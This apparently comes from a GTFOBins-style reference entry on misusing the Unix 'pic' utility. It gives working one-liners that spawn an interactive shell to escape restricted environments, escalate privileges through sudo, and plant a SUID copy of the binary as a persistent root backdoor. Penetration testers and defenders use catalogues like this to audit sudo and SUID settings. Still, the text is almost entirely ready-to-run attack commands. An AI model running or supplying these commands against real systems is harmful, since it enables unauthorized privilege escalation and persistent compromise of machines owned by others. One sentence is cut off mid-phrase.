It can be used to break out from restricted environments by spawning an interactive system shell.
pic -U .PS sh X sh X
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
sudo pic -U .PS sh X sh X
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run commands it only works on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
sudo sh -c 'cp $(which pic) .; chmod +s ./pic' ./pic -U .PS sh X sh X
